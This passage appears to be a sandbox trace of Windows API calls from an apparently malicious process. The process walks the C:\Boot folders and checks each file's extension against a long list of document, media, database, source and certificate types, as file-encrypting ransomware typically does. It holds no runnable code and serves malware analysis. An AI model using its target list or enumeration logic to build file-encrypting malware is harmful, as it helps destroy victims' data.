	[0167.689] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0167.689] lstrlenW (lpString=".erf") returned 4
	[0167.689] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".exr") returned 4
	[0167.689] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".f4v") returned 4
	[0167.689] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".fido") returned 5
	[0167.689] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0167.689] lstrlenW (lpString=".flm") returned 4
	[0167.689] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".flv") returned 4
	[0167.689] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".frm") returned 4
	[0167.689] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".fxg") returned 4
	[0167.689] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".geo") returned 4
	[0167.689] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".gif") returned 4
	[0167.689] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".grs") returned 4
	[0167.689] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".gz") returned 3
	[0167.689] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.689] lstrlenW (lpString=".h") returned 2
	[0167.689] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.689] lstrlenW (lpString=".hdr") returned 4
	[0167.689] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".hpp") returned 4
	[0167.690] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".hta") returned 4
	[0167.690] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".htc") returned 4
	[0167.690] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".htm") returned 4
	[0167.690] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".html") returned 5
	[0167.690] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0167.690] lstrlenW (lpString=".icb") returned 4
	[0167.690] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".ics") returned 4
	[0167.690] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".iff") returned 4
	[0167.690] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".inc") returned 4
	[0167.690] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".indd") returned 5
	[0167.690] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0167.690] lstrlenW (lpString=".ini") returned 4
	[0167.690] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".iqy") returned 4
	[0167.690] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".j2c") returned 4
	[0167.690] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".j2k") returned 4
	[0167.690] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".java") returned 5
	[0167.690] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0167.690] lstrlenW (lpString=".jp2") returned 4
	[0167.690] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.690] lstrlenW (lpString=".jpc") returned 4
	[0167.690] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".jpe") returned 4
	[0167.691] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".jpeg") returned 5
	[0167.691] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0167.691] lstrlenW (lpString=".jpf") returned 4
	[0167.691] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".jpg") returned 4
	[0167.691] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".jpx") returned 4
	[0167.691] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".js") returned 3
	[0167.691] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.691] lstrlenW (lpString=".jsf") returned 4
	[0167.691] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".json") returned 5
	[0167.691] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0167.691] lstrlenW (lpString=".jsp") returned 4
	[0167.691] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".kdc") returned 4
	[0167.691] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".kmz") returned 4
	[0167.691] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".kwm") returned 4
	[0167.691] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".lasso") returned 6
	[0167.691] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0167.691] lstrlenW (lpString=".lbi") returned 4
	[0167.691] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.691] lstrlenW (lpString=".lgf") returned 4
	[0167.691] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".lgp") returned 4
	[0167.692] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".log") returned 4
	[0167.692] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".m1v") returned 4
	[0167.692] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".m4a") returned 4
	[0167.692] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".m4v") returned 4
	[0167.692] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".max") returned 4
	[0167.692] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".md") returned 3
	[0167.692] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.692] lstrlenW (lpString=".mda") returned 4
	[0167.692] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".mdb") returned 4
	[0167.692] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".mde") returned 4
	[0167.692] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".mdf") returned 4
	[0167.692] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".mdw") returned 4
	[0167.692] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".mef") returned 4
	[0167.692] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".mft") returned 4
	[0167.692] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.692] lstrlenW (lpString=".mfw") returned 4
	[0167.692] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".mht") returned 4
	[0167.693] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".mhtml") returned 6
	[0167.693] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0167.693] lstrlenW (lpString=".mka") returned 4
	[0167.693] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".mkidx") returned 6
	[0167.693] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0167.693] lstrlenW (lpString=".mkv") returned 4
	[0167.693] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".mos") returned 4
	[0167.693] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".mov") returned 4
	[0167.693] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".mp3") returned 4
	[0167.693] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".mp4") returned 4
	[0167.693] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".mpeg") returned 5
	[0167.693] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0167.693] lstrlenW (lpString=".mpg") returned 4
	[0167.693] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".mpv") returned 4
	[0167.693] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".mrw") returned 4
	[0167.693] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.693] lstrlenW (lpString=".msg") returned 4
	[0167.693] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.694] lstrlenW (lpString=".mxl") returned 4
	[0167.694] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".myd") returned 4
	[0167.694] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".myi") returned 4
	[0167.694] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".nef") returned 4
	[0167.694] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".nrw") returned 4
	[0167.694] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".obj") returned 4
	[0167.694] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".odb") returned 4
	[0167.694] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".odc") returned 4
	[0167.694] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".odm") returned 4
	[0167.694] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".odp") returned 4
	[0167.694] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".ods") returned 4
	[0167.694] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".oft") returned 4
	[0167.694] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".one") returned 4
	[0167.694] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.694] lstrlenW (lpString=".onepkg") returned 7
	[0167.694] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0167.694] lstrlenW (lpString=".onetoc2") returned 8
	[0167.695] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0167.695] lstrlenW (lpString=".opt") returned 4
	[0167.695] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".oqy") returned 4
	[0167.695] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".orf") returned 4
	[0167.695] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".p12") returned 4
	[0167.695] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".p7b") returned 4
	[0167.695] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".p7c") returned 4
	[0167.695] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".pam") returned 4
	[0167.695] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".pbm") returned 4
	[0167.695] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".pct") returned 4
	[0167.695] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".pcx") returned 4
	[0167.695] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".pdd") returned 4
	[0167.695] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".pdf") returned 4
	[0167.695] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".pdp") returned 4
	[0167.695] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".pef") returned 4
	[0167.695] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.695] lstrlenW (lpString=".pem") returned 4
	[0167.695] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.696] lstrlenW (lpString=".pff") returned 4
	[0167.696] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.696] lstrlenW (lpString=".pfm") returned 4
	[0167.696] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.696] lstrlenW (lpString=".pfx") returned 4
	[0167.696] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.696] lstrlenW (lpString=".pgm") returned 4
	[0167.696] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.696] lstrlenW (lpString=".php") returned 4
	[0167.696] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.696] lstrlenW (lpString=".php3") returned 5
	[0167.696] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0167.696] lstrlenW (lpString=".php4") returned 5
	[0167.696] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0167.696] lstrlenW (lpString=".php5") returned 5
	[0167.696] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0167.696] lstrlenW (lpString=".phtml") returned 6
	[0167.696] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0167.696] lstrlenW (lpString=".pict") returned 5
	[0167.696] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0167.696] lstrlenW (lpString=".pl") returned 3
	[0167.696] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.696] lstrlenW (lpString=".pls") returned 4
	[0167.696] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.696] lstrlenW (lpString=".pm") returned 3
	[0167.696] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.696] lstrlenW (lpString=".png") returned 4
	[0167.696] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.696] lstrlenW (lpString=".pnm") returned 4
	[0167.696] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.696] lstrlenW (lpString=".pot") returned 4
	[0167.697] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.697] lstrlenW (lpString=".potm") returned 5
	[0167.697] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0167.697] lstrlenW (lpString=".potx") returned 5
	[0167.697] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0167.697] lstrlenW (lpString=".ppa") returned 4
	[0167.697] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.697] lstrlenW (lpString=".ppam") returned 5
	[0167.697] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0167.697] lstrlenW (lpString=".ppm") returned 4
	[0167.697] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.697] lstrlenW (lpString=".pps") returned 4
	[0167.697] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.697] lstrlenW (lpString=".ppsm") returned 5
	[0167.697] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0167.697] lstrlenW (lpString=".ppt") returned 4
	[0167.697] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.697] lstrlenW (lpString=".pptm") returned 5
	[0167.697] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0167.697] lstrlenW (lpString=".pptx") returned 5
	[0167.697] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0167.697] lstrlenW (lpString=".prn") returned 4
	[0167.697] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.697] lstrlenW (lpString=".ps") returned 3
	[0167.697] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.697] lstrlenW (lpString=".psb") returned 4
	[0167.697] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.697] lstrlenW (lpString=".psd") returned 4
	[0167.697] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.697] lstrlenW (lpString=".pst") returned 4
	[0167.697] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.698] lstrlenW (lpString=".ptx") returned 4
	[0167.698] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.698] lstrlenW (lpString=".pub") returned 4
	[0167.698] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.698] lstrlenW (lpString=".pwm") returned 4
	[0167.698] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.698] lstrlenW (lpString=".pxr") returned 4
	[0167.698] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.698] lstrlenW (lpString=".py") returned 3
	[0167.698] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.698] lstrlenW (lpString=".qt") returned 3
	[0167.698] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.698] lstrlenW (lpString=".r3d") returned 4
	[0167.698] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.698] lstrlenW (lpString=".raf") returned 4
	[0167.698] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0167.698] lstrlenW (lpString=".rar") returned 4
	[0167.698] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.698] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.698] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.698] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.698] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0167.699] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.699] lstrlenW (lpString="C:\\Boot\\hu-HU") returned 13
	[0167.699] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.699] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.699] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.699] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.699] lstrlenW (lpString=".1cd") returned 4
	[0167.699] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.699] lstrlenW (lpString=".3ds") returned 4
	[0167.699] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.699] lstrlenW (lpString=".3fr") returned 4
	[0167.699] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.699] lstrlenW (lpString=".3g2") returned 4
	[0167.699] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.699] lstrlenW (lpString=".3gp") returned 4
	[0167.699] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.699] lstrlenW (lpString=".7z") returned 3
	[0167.699] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.699] lstrlenW (lpString=".accda") returned 6
	[0167.699] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0167.699] lstrlenW (lpString=".accdb") returned 6
	[0167.700] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0167.700] lstrlenW (lpString=".accdc") returned 6
	[0167.700] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0167.700] lstrlenW (lpString=".accde") returned 6
	[0167.700] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0167.700] lstrlenW (lpString=".accdt") returned 6
	[0167.700] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0167.700] lstrlenW (lpString=".accdw") returned 6
	[0167.700] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0167.700] lstrlenW (lpString=".adb") returned 4
	[0167.700] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.700] lstrlenW (lpString=".adp") returned 4
	[0167.700] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.700] lstrlenW (lpString=".ai") returned 3
	[0167.700] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.700] lstrlenW (lpString=".ai3") returned 4
	[0167.700] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.700] lstrlenW (lpString=".ai4") returned 4
	[0167.700] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.700] lstrlenW (lpString=".ai5") returned 4
	[0167.700] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.700] lstrlenW (lpString=".ai6") returned 4
	[0167.700] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.700] lstrlenW (lpString=".ai7") returned 4
	[0167.700] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.700] lstrlenW (lpString=".ai8") returned 4
	[0167.700] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.700] lstrlenW (lpString=".anim") returned 5
	[0167.700] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0167.700] lstrlenW (lpString=".arw") returned 4
	[0167.700] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".as") returned 3
	[0167.701] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.701] lstrlenW (lpString=".asa") returned 4
	[0167.701] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".asc") returned 4
	[0167.701] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".ascx") returned 5
	[0167.701] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0167.701] lstrlenW (lpString=".asm") returned 4
	[0167.701] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".asmx") returned 5
	[0167.701] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0167.701] lstrlenW (lpString=".asp") returned 4
	[0167.701] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".aspx") returned 5
	[0167.701] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0167.701] lstrlenW (lpString=".asr") returned 4
	[0167.701] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".asx") returned 4
	[0167.701] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".avi") returned 4
	[0167.701] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".avs") returned 4
	[0167.701] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".backup") returned 7
	[0167.701] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0167.701] lstrlenW (lpString=".bak") returned 4
	[0167.701] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".bay") returned 4
	[0167.701] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.701] lstrlenW (lpString=".bd") returned 3
	[0167.701] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.701] lstrlenW (lpString=".bin") returned 4
	[0167.702] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".bmp") returned 4
	[0167.702] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".bz2") returned 4
	[0167.702] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".c") returned 2
	[0167.702] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.702] lstrlenW (lpString=".cdr") returned 4
	[0167.702] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".cer") returned 4
	[0167.702] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".cf") returned 3
	[0167.702] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.702] lstrlenW (lpString=".cfc") returned 4
	[0167.702] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".cfm") returned 4
	[0167.702] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".cfml") returned 5
	[0167.702] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0167.702] lstrlenW (lpString=".cfu") returned 4
	[0167.702] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".chm") returned 4
